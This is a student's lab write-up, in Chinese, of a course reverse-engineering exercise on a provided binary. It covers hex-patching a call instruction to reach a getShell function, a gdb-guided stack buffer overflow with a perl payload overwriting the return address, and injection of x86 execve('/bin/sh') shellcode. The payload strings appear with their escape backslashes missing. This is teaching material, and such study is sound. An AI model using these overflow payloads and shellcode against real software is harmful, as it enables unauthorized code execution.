zoukankan      html  css  js  c++  java
  • 2018-3-7 20155317 王新玮 Exp1 PC平台逆向破解(5)M

    2018-3-7  20155317  王新玮 Exp1 PC平台逆向破解(5)M

    任务要求:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    NOP、JNE、JE、JMP、CMP汇编指令的机器码:

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    JE:条件转移指令,如果相等则跳转。(机器码:74)

    JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    在开始之前,我们首先要学会两样东西

    1.反汇编

     objdump -d pwn1(文件名)|more 
    

      

    这条命令的用途是将可执行程序进行反汇编,变成机器指令

     

    2.其次呢我们要学会使用vi编辑器, 我们用vi查看pwn1,输入:

    vi pwn1

     

    vi pwn1(文件名) linux下的vi编辑器功能十分强大,不仅可以编辑任何一个文件,而且可以以不同进制进行查看,如下图,进入编辑界面后,敲入

    :%!xxd

    ,则以16进制进行查看。 

    本次实验要做的是通过修改指令,修改指令间的跳转:在完成本次任务之前,我们先来看一下本次实验的原理:

    如下图所示:我们可以看到,在机器语言中,调用指令最根本的是找到了指令所在的偏移地址,例如下图中main的地址为080484af,而call指令后面的8048491对应的是foo函数的地址。所以说,如果想要改变指令的调用,那么我们只需要修改偏移地址的值就可以了。

    而且从下图中我们可以看到,前后两者是一一对应的,也就是说,如果改变前着的值,那么对应后面的指令跳转我们也能相应的改变。

    完成这些之后呢,我们就能知道e8对应的就是call指令,而e8之后的数字代表着调用函数的偏移地址,我们只需要将foo函数的地址变成getshell函数的地址就可以了

    从上图中我们可以看到,foo函数的地址为08048291,getshellh函数的地址为0804847d,用16进制的减法我们可以精确的算出getshell比foo低了14,也就在原来的基础上减去14即可。而在linux环境下,采用小端存储的方式,也就是说d7为低位,就是说将到d7减去14即可,也就是变成c3。完成这些以后,我们采用vi编辑器进行修改。

    我们在下面输入:/e8表示查询e8.然后,点击i键进行修改。将d7写为c3,然后按下esc,输入:wq保存退出。

    /e8 d7  \查找
    %!xxd - r    \恢复二进制格式

    :wq \保存退出

     再次进行objdump -d 进行查看

    这样我们就完成了本次任务的实验操作。

    实验过程中可能出现的问题:

    如果是64位的卡里虚拟机,无法运行可以参考老师写的博客:http://www.cnblogs.com/zl20154312/p/8511455.html,其中如果出现源链接连接不上的情况,可以填入以下链接 :deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

    BOF攻击,改变程序执行流程

    首先我们要明白什么事BOF攻击,就是在程序的堆栈当中,写入过量的数据,导致缓冲区溢出,最后影响到其他地方(ret)的值,从而产生攻击效果。

    首先,我们需要测试出该程序的缓冲区到底有多长。我们采用gdb进行调试:

    gdb 20155317 //调试
    r   //运行
    11111111222222223333333344444444555555555  //输入数据
    

      

    完成之后我们需要查看一下此时寄存器里的值,来检查出哪些值溢出了。

     

    从图中我们可以看到eip中的值变成了0x35这表示5被溢出了,我们再次输入111111112222222233333333444444441234,进行尝试

    我们发酵确实是1234这四位溢出了,因此我们只要控制好这四位的值是shell函数的首地址,那么当再次溢出的时候,跳转到的就是shell函数了。从开始的图中我们可以得知shell函数的地址为0804847d。,但是我们无法直接输入这几个值,时候需要我们利用到

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    

      我们这是利用语言将我们想要输入的数据保存到input这个文档里。

    我们利用16进制查看一下input的内容:xxd input

    我们利用管道将文件里的数据传入到程序当中:

    (cat input ; cat)|./20155317
    

      

     

    我们发现,在输入ls命令后显示出了当前文件夹下的内容,所以缓冲区溢出攻击成功,该程序已经跳转到shell函数中。

    shellcode注入

     shellcode的注入其实是在上一个的基础上衍生出来的,基本的思想是在运行程序时,对程序进行调试,从而进行注入。

    首先,我们需要将shellcode的代码写入文件中,并运行该程序

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    完成之后,我们再打开一个终端,对其进程号进行查询

    ps -ef | grep 20155317

    我们可以得出该进程的进程号为:2586。完成以后我们启用gdb进行调试,完成后查看内存地址

    gdb //启动调试
    attach 2586 //连接到进程
    diassemble foo //查看注入buf的内存地址

    在ret上设置断点

    查看测试寄存及的值

     从里面我们找到了1234,至此我们可以找到shellcode的首地址了,所以我们将1234的部分改成:x00xd3xffxffx00,所以shellcode就变成

    perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    我们更改shellcode并且注入一下:

     程序

  • 相关阅读:
    async/await
    js继承
    js处理上下文代码的2个阶段
    js相关地址
    vue自定义指令钩子函数
    vue 组件
    vue methods和computed,v-show和v-if
    vue 生命周期
    DOM操作——怎样添加、移除、移动、复制、创建和查找节点
    js 传递参数
  • 原文地址:https://www.cnblogs.com/wxwddp/p/8516794.html
Copyright © 2011-2022 走看看